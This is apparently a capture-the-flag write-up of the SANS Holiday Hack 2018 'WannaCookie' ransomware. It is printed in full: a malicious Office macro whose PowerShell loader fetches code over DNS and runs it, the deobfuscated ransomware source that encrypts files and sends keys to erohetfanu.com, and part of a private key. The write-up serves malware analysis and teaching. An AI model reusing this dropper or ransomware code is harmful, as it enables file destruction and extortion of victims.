-rw-r--r-- 1 useless useless 109K déc.  18 04:17 CHOCOLATE_CHIP_COOKIE_RECIPE.zip

Alright, it's a .docm file. This is probably a Microsoft Office file with a malicious macro that will download and execute the malware. Let's open it with extra care not to execute the macro.

For those of you who only want the chocolate chip cookie recipe, you can find it in the appendix.

If we take a look at the macros in this Office file, we can see that two functions, Document_Open and AutoOpen were created:

(Yes, it's LibreOffice, sue me)

These functions are designed to be executed as soon as the document is open. Let's take a look at the source code of these functions:

Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

As soon as the document gets opened, a (quite ugly) PowerShell command is executed. We can see from the source code that there is some base64-encoding, and some compressing. Instead of doing the analysis manually, we'll use PowerShell to execute the command. But in order not to get infected ourselves, we'll replace every occurrence of IEX (or Invoke-Expression) by a Write-Output. This way, the source code will be displayed instead of being executed.

So, let's see what this PowerShell gibberish means:

PS C:\Users\admin> sal a New-Object; Write-Output (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))

Alright, we get a weird function, H2A, which is making DNS request to a domain name erohetfanu.com. That's the domain we're looking for.

Malware Analysis

Alabaster wonders if the malware uses a killswitch domain, à la WannaCry.

Alabaster says

Erohetfanu.com, I wonder what that means?

Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective.

I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.

Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!

Let's analyze the ransomware and see what we can find. First of all, let's get the source code of the malware. Let's execute the command we found in the previous question, without executing IEX:

PS E:\sans-christmas-challenge-2018> function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($iin 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)){$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; $(H2A $h | Out-string)
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestF[snip]

Wow, we get a lot of minified code. Let's make it a little bit more readable. Here's the full source code of the malware. I just added carriage-returns after every }, ;, and indented the code:

$functions = {
    function e_d_file($key, $File, $enc_it) {
        [byte[]]$key = $key;
        $Suffix = "`.wannacookie";
        [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
        [System.Int32]$KeySize = $key.Length*8;
        $AESP = New-Object 'System.Security.Cryptography.AesManaged';
        $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
        $AESP.BlockSize = 128;
        $AESP.KeySize = $KeySize;
        $AESP.Key = $key;
        $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
        if ($enc_it) {
            $DestFile = $File + $Suffix
        } else {
            $DestFile = ($File -replace $Suffix)
        };
        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
        if ($enc_it) {
            $AESP.GenerateIV();
            $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
            $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
            $Transform = $AESP.CreateEncryptor()
        } else {
            [Byte[]]$LenIV = New-Object Byte[] 4;
            $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
            $FileSR.Read($LenIV,  0, 3) | Out-Null;
            [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);
            [Byte[]]$IV = New-Object Byte[] $LIV;
            $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
            $FileSR.Read($IV, 0, $LIV) | Out-Null;
            $AESP.IV = $IV;
            $Transform = $AESP.CreateDecryptor()
        };
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
        [Int]$Count = 0;
        [Int]$BlockSzBts = $AESP.BlockSize / 8;
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
        Do {
            $Count = $FileSR.Read($Data, 0, $BlockSzBts);
            $CryptoS.Write($Data, 0, $Count)
        } While ($Count -gt 0);
        $CryptoS.FlushFinalBlock();
        $CryptoS.Close();
        $FileSR.Close();
        $FileSW.Close();
        Clear-variable -Name "key";
        Remove-Item $File
    }
};
function H2B {
    param($HX);
    $HX = $HX -split '(..)' | ? {
        $_
    };
    ForEach ($value in $HX){
        [Convert]::ToInt32($value,16)
    }
};
function A2H(){
    Param($a);
    $c = '';
    $b = $a.ToCharArray();
    ;
    Foreach ($element in $b) {
        $c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
    };
    return $c -replace ' '
};
function H2A() {
    Param($a);
    $outa;
    $a -split '(..)' | ? {
        $_
    }  | forEach {
        [char]([convert]::toint16($_,16))
    } | forEach {
        $outa = $outa + $_
    };
    return $outa
};
function B2H {
    param($DEC);
    $tmp = '';
    ForEach ($value in $DEC){
        $a = "{0:x}" -f [Int]$value;
        if ($a.length -eq 1){
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    };
    return $tmp
};
function ti_rox {
    param($b1, $b2);
    $b1 = $(H2B $b1);
    $b2 = $(H2B $b2);
    $cont = New-Object Byte[] $b1.count;
    if ($b1.count -eq $b2.count) {
        for($i=0;
                $i -lt $b1.count ;
                $i++) {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }
    };
    return $cont
};
function B2G {
    param([byte[]]$Data);
    Process {
        $out = [System.IO.MemoryStream]::new();
        $gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);
        $gStream.Write($Data, 0, $Data.Length);
        $gStream.Close();
        return $out.ToArray()
    }
};
function G2B {
    param([byte[]]$Data);
    Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data );
        $output = New-Object System.IO.MemoryStream;
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);
        $gStream.CopyTo( $output );
        $gStream.Close();
        $SrcData.Close();
        [byte[]] $byteArr = $output.ToArray();
        return $byteArr
    }
};
function sh1([String] $String) {
    $SB = New-Object System.Text.StringBuilder;
    [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
        [Void]$SB.Append($_.ToString("x2"))
    };
    $SB.ToString()
};
function p_k_e($key_bytes, [byte[]]$pub_bytes){
    $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
    $cert.Import($pub_bytes);
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
    return $(B2H $encKey)
};
function e_n_d {
    param($key, $allfiles, $make_cookie );
    $tcount = 12;
    for ( $file=0;
            $file -lt $allfiles.length;
            $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object {
                    $_.State -eq 'Running'
                    });
            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {
                    param($key, $File, $true_false);
                    try{
                        e_d_file $key $File $true_false
                    } catch {
                        $_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
                    }
                } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;
                break
            } else {
                Start-Sleep -m 200;
                continue
            }
        }
    }
};
function g_o_dns($f) {
    $h = '';
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    };
    return (H2A $h)
};
function s_2_c($astring, $size=32) {
    $new_arr = @();
    $chunk_index=0;
    foreach($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index,$size));
        $chunk_index += $size
    };
    return $new_arr
};
function snd_k($enc_k) {
    $chunks = (s_2_c $enc_k );
    foreach ($j in $chunks) {
        if ($chunks.IndexOf($j) -eq 0) {
            $n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        } else {
            $(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        }
    };
    return $n_c_id
};
function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
        return
    };
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
        return
    };
    $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
    $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {
                        Get-Random
                        })[0..15] -join ''))  | ? {
            $_ -ne 0x00
            });
    $h_k = $(B2H $b_k);
    $k_h = $(sh1 $h_k);
    $p_k_e_k = (p_k_e $b_k $p_k).ToString();
    $c_id = (snd_k $p_k_e_k);
    $d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
    [array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where {
            ! $_.PSIsContainer
            } | Foreach-Object {
            $_.Fullname
            });
    e_n_d $b_k $f_c $true;
    Clear-variable -Name "h_k";
    Clear-variable -Name "b_k";
    $lurl = 'http://127.0.0.1:8080/';
    $html_c = @{
        'GET /'  =  $(g_o_dns (A2H "source.min.html"));
        'GET /close'  =  '<p>Bye!</p>'
    };
    Start-Job -ScriptBlock{
        param($url);
        Start-Sleep 10;
        Add-type -AssemblyName System.Windows.Forms;
        start-process "$url" -WindowStyle Maximized;
        Start-sleep 2;
        [System.Windows.Forms.SendKeys]::SendWait("{F11}")
    } -Arg $lurl;
    $list = New-Object System.Net.HttpListener;
    $list.Prefixes.Add($lurl);
    $list.Start();
    try {
        $close = $false;
        while ($list.IsListening) {
            $context = $list.GetContext();
            $Req = $context.Request;
            $Resp = $context.Response;
            $recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;
            if ($recvd -eq 'GET /') {
                $html = $html_c[$recvd]
            } elseif ($recvd -eq 'GET /decrypt') {
                $akey = $Req.QueryString.Item("key");
                if ($k_h -eq $(sh1 $akey)) {
                    $akey = $(H2B $akey);
                    [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where {
                            ! $_.PSIsContainer
                            } | Foreach-Object {
                            $_.Fullname
                            });
                    e_n_d $akey $f_c $false;
                    $html = "Files have been decrypted!";
                    $close = $true
                } else {
                    $html = "Invalid Key!"
                }
            } elseif ($recvd -eq 'GET /close') {
                $close = $true;
                $html = $html_c[$recvd]
            } elseif ($recvd -eq 'GET /cookie_is_paid') {
                $c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;
                if ( $c_n_k.length -eq 32 ) {
                    $html = $c_n_k
                } else {
                    $html = "UNPAID|$c_id|$d_t"
                }
            } else {
                $Resp.statuscode = 404;
                $html = '<h1>404 Not Found</h1>'
            };
            $buffer = [Text.Encoding]::UTF8.GetBytes($html);
            $Resp.ContentLength64 = $buffer.length;
            $Resp.OutputStream.Write($buffer, 0, $buffer.length);
            $Resp.Close();
            if ($close) {
                $list.Stop();
                return
            }
        }
    } finally {
        $list.Stop()
    }
};
wanc;

Whew, that's a lot of script. We'll analyze it more deeply in the next question. The script defines many functions. The main one seems to be wanc, since it's called at the end of the script. Let's take a look at the beginning of this function:

function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
        return
    };
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
        return
    };
[snip]

The function begins by making some kind of DNS request. If it resolves, then it immediatly returns. It also checks if something is listening on 127.0.0.1:8080 (i.e. if the ransomware is already running), and if the Active Directory domain of the infected machine is KRINGLECASTLE:

The first check (the DNS check) is used to make sure that the ransomware is not being ran in a virtual machine. This check is similar to what @MalwareTechBlog found in the WannaCry ransomware.
The second check (the network check and the Active Directory check) is to make sure that the ransomware is running on the intended target, and is not being ran more than once.

Similarly to WannaCry, if we register the killswitch domain, then it will always resolved and the ransomware will stop working. To find the kill switch domain, let's just execute the PowerShell code used to generate it. To run this command, the variable S1 and the functions H2A, B2H, H2B, G2B, and ti_rox must be defined:

PS C:\> $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
yippeekiyaa.aaay

The killswitch domain seems to be yippeekiyaa.aaay. Let's register it on HoHoHo Daddy:

Alright! We stopped the malware. We can now feel like @MalwareTechBlog. You know, without the federal investigation and stuff... Anyway! The sentence is Successfully registered yippeekiyaa.aaay!.

Memory Dump Analysis

Alabaster needs us to decrypt his password database, that was encrypted by the WannaCookie ransomware.

Alabaster says

Yippee-Ki-Yay! Now, I have a ma... kill-switch!

Now that we don't have to worry about new infections, I could sure use your L337 security skills for one last thing.

As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database.

Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords.

One of the passwords will unlock our access to the vault so we can get in before the hackers.

Alright, a lot is happening. Here's what we can see from the source code:

The function e_d_file takes a key, a file, and a boolean. If the boolean is true, the file is encrypted using AES in CBC mode. If the boolean is false, the file is decrypted using the same algorithm.
Some helper functions are defined:
- H2B, B2H: convert data from/to hexadecimal strings to/from binary objects.
- H2A, A2H: convert data from/to hexadecimal strings to/from byte arrays.
- G2B, B2G: convert data from/to compressed data to/from binary objects.
The function ti_rox seems to XOR two variables.
The function sh1 is just a wrapper to the SHA1 hashing function.
The function p_k_e encrypts a variable using a public key.
The function e_n_d encrypts/decrypts a list of files using an AES key (by calling the e_d_file function).
The function g_o_dns seems to recover some data from the erohetfanu.com DNS server.
The function s_2_c splits a string into chunks.
The function snd_k sends, chunk by chunk, a string to the erohetfanu.com DNS server.
Finally, the function wanc is the main function.

Let's analyze how the malware works, so that we can find a way to decrypt Alabaster's passwords. Here's what wanc does:

It first checks the killswitch domain, whether the malware is already running, and if it's running on the intended target.
It then recovers what seems to be a public key, $p_k, from the DNS server, with the following command: g_o_dns("7365727665722E637274").
It then generates an AES key, $b_k, using two arrays of bytes from 1 to 255 (no zero), and the function Get-Random.
The key is hex-encoded in $h_k, which is then hashed using SHA1 and stored in $k_h.
The AES key $b_k is encrypted using the public key $p_k. The result is stored in $p_k_e_k.
The encrypted key, $p_k_e_k is sent to the DNS server, which gives a victim id, $c_id.
The current date in UTC is stored in $d_t.
A list of all *.elfdb files is generated, and then encrypted using $b_k.
The variables $b_k and $h_k are cleared using Clear-Variable. (The variable $key, which holds the value of $b_k in e_d_file is also cleared).
The malware sets up an HTTP listener on 127.0.0.1:8080, which displays an HTML ransom message, downloaded from the DNS server, using the code g_o_dns (A2H "source.min.html"). The HTTP listener handles decryption requests: when the victim pays the ransom, the decryption key is given to them. They can then enter them in the HTTP listener, which will compare this key's SHA1 sum to the one it has in memory in the variable $k_h. If they match, the files are decrypted.

All the dead ends, yay!

Alright, knowing this, how can we try and recover Alabaster's passwords? Here's a list of the things that I tried and that don't work, but still took a whole lot of time to test (and then had the audacity of not being the right solutions, damn them!). Again, if you just directly want the right solution, you can jump to it.

I first thought that maybe the keys weren't correctly cleared in the memory dump and that I could recover them, using tools such as aes-finder, aeskeyfind, findaes, etc. But these tools did not find anything.

I then thought that maybe the Volatility framework could help. But it doesn't support the Mini DuMP format used in the dump. So, another deadend.

I then thought thay maybe the password file or the encryption key could be found in cleartext using binwalk. But it only returned what I think were many false-positives, and no password file or encryption key.

On to my next deadend, which stole most of my time. It's common for ransomware to generate weak encryption keys, because of unproper random initialization. Here's an example. If you remember, the malware generates the AES key using the PowerShell function Get-Random, without any seed. I did a little research on this function, and found some resources online that suggested that maybe the randomness produced by Get-Random was not cryptographically-secure. I then read Microsoft's documentation of the function, which states (emphasis mine):

-SetSeed

Specifies a seed value for the random number generator. This seed value is used for the current command and for all subsequent Get-Random commands in the current session until you use SetSeed again or close the session. You cannot reset the seed to its default, clock-based value.

The SetSeed parameter is not required. By default, Get-Random uses the system clock to generate a seed value. Because SetSeed results in non-random behavior, it is typically used only when trying to reproduce behavior, such as when debugging or analyzing a script that includes Get-Random commands.

I thought I had my ticket with this. I thought that if I found at what time the ransomware was launched, I could use this time as a seed to regenerate the encryption key. Luckily, we have several ways to find around which time the ransomware was launched. First, it's in the metadata of the dump file:

$ file powershell.exe_181109_104716.dmp
powershell.exe_181109_104716.dmp: Mini DuMP crash report, 19 streams, Fri Nov  9 15:47:39 2018, 0x61826 type

Then, if you remember, the current date was stored in a variable $d_t in the ransomware. This date was displayed in the HTML listener, next to the payment status:

$ grep -a UNPAID powershell.exe_181109_104716.dmp
�B_��RE_��_E_ ����OUNPAID|               4739626449686a334d36|Friday, November 09, 2018 3:25:34 PM
[snip]

So, the ransomware was launched on Friday, November 09, 2018, around 3:00 PM. Now that I knew the time of launch, I could try to regenerate the AES key using Get-Random. Or so I thought... No matther how I initialized the key, I wasn't able to obtain reproductible results using Get-Random.

I then saw online that maybe Get-Random is not seeded with the system date, but with the system uptime, using TickCounts. But there again, I wasn't able to obtain reproductible results. I did some more digging, and several StackOverflow posts indicated that the seed initialization is trickier that I thought. As suggested by one of these posts, I took a look at PowerShell's source code on GitHub.

There, you can see that if you initialize the seed using -SetSeed, you can see that the random generator used is System.Random. If you don't initialize the seed, the random generator used is System.Security.Cryptography.RandomNumberGenerator. However, this function does not seem to have any weakness in its seed initialization process.

After having wasted three days on this track, I gave up and asked for my coworkers' help. While most of them were busy and made me understand in colorful phrasing that they didn't have the time to help me, one of them, imaibou, had some time to take a look.

He ran a deweaponized version of the ransomware (where the encryption was commented out) and then produced a dump of the PowerShell process. He then mentioned to me that he was able to find out his AES key (that he had printed out) in the memory dump of his process. Ha! I was right from the start: the key is not properly cleared from the memory. Or so I thought, yet again... We tried searching for the keys in Alabater's memory dump in every imaginable format:

In raw hexadecimal (\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX).
In UTF16-LE encoded hexadecimal (\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00).
In printable hex representation (XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX)
In UTF16-LE encoded printable hex representation (XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00)
In oh-so-many other formats...

But no luck. Even though we managed to find our key in our home-made memory dump, we couldn't find the key in Alabaster's dump. Even our boss, Christophe, took time out of his schedule to lend a hand. but even his security super powers didn't manage to take us out of this slump.

Out of ideas, ashamed, and tired, we went and looked at the hints for this question. Here's what we were given:

wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments?

Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!

Pulling strings from a memory dump using the linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump.

I didn't understand the reference to wannacookie.min.ps1, since I hadn't seen this filename anywhere (but more on that later).

I then felt stupid: I had forgotten that KringleCon is initially a security conference. I then proceeded to watch Chris Davis' talk on PowerShell malware memory analysis, where he presents his tool power_dump, which can be used to analyze memory dump of PowerShell processes, and extract variables.

I loaded up power_dump, sighing that I finally will be able to answer this question. I used the tool to search for 32-byte long hexadecimal representation:

================ Filters ================
1| MATCHES  bool(re.search(r"^[0-9a-fA-F]+$",variable_values))
2| LENGTH  len(variable_values) == 32

[i] 5 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print all
033ecb2bc07a4d43b5ef94ed5a35d280
Variable Values #1 above ^
Type any key to go back and just Enter to Continue...
cf522b78d86c486691226b40aa69e95c
Variable Values #2 above ^
Type any key to go back and just Enter to Continue...
9e210fe47d09416682b841769c78b8a3
Variable Values #3 above ^
Type any key to go back and just Enter to Continue...
4ec4f0187cb04f4cb6973460dfe252df
Variable Values #4 above ^
Type any key to go back and just Enter to Continue...
27c87ef9bbda4f709f6b4002fa4af63c
Variable Values #5 above ^
Type any key to go back and just Enter to Continue...

"Huh", I thought, "these keys look familiar". That's because I had already found them in the memory dump using strings! And I know that they're not the correct keys!

The right solution

Despair fell on me again. Now I was freshly out of ideas, again! I then turned to my last resort: the KringleCon chat. People told me that maybe I shouldn't try to look directly for the key in memory, but to another form. I also noticed that people were talking a lot about public/private key encryption.

And then it clicked: I should look for the encrypted key in memory, that is the value of the $p_k_e_k variable. But even if I find this value, how will I decrypt it without the private key? My colleague imaibou mentioned that he tried to factor the public key using weak factors, but to no avail. I saw in the KringleCon chat that some people had managed to find the ransomware's private key.

And then it cliked again! I thought back to the first hint, the one I didn't understand, talking about wannacookie.min.ps1. Remember the hash we used for our Snort rule? Its value is 77616E6E61636F6F6B69652E6D696E2E707331. What happens if we decode this hex value?

$ echo 77616E6E61636F6F6B69652E6D696E2E707331 | xxd -r -p
wannacookie.min.ps1

We can encode some file names in hexadecimal, and then download them from the DNS server, using the g_o_dns PowerShell function. For example, let's try to download an unminified version of the malware. We can kind of guess that the filename will be wannacookie.ps1. Let's encode this, and download it with g_o_dns:

$ echo -n wannacookie.ps1 | xxd -p
77616e6e61636f6f6b69652e707331

PS C:\> g_o_dns("77616e6e61636f6f6b69652e707331") > .\wannacookie.ps1
PS C:\> Get-Content .\wannacookie.ps1
$functions = {
    function Enc_Dec-File($key, $File, $enc_it) {
        [byte[]]$key = $key
        $Suffix = "`.wannacookie"
        [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
        [System.Int32]$KeySize = $key.Length*8
        $AESP = New-Object 'System.Security.Cryptography.AesManaged'
[...]
function wannacookie {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
    $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
    $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    $Hex_key = $(B2H $Byte_key)
    $Key_Hash = $(Sha1 $Hex_key)
[...]

Awesome, we can download file from the DNS server. Now, let's go back to the malware's source code. How did it download the public key?

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );

Let's decode the 7365727665722E637274 string:

$ echo 7365727665722E637274 | xxd -p -r
server.crt

So, apparently, the public key was in a file called server.crt. What's the name of the file containing the private key? Let's try something simple, such as server.key.

$ echo -n server.key | xxd -p
7365727665722e6b6579

PS C:\> g_o_dns("7365727665722e6b6579")
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
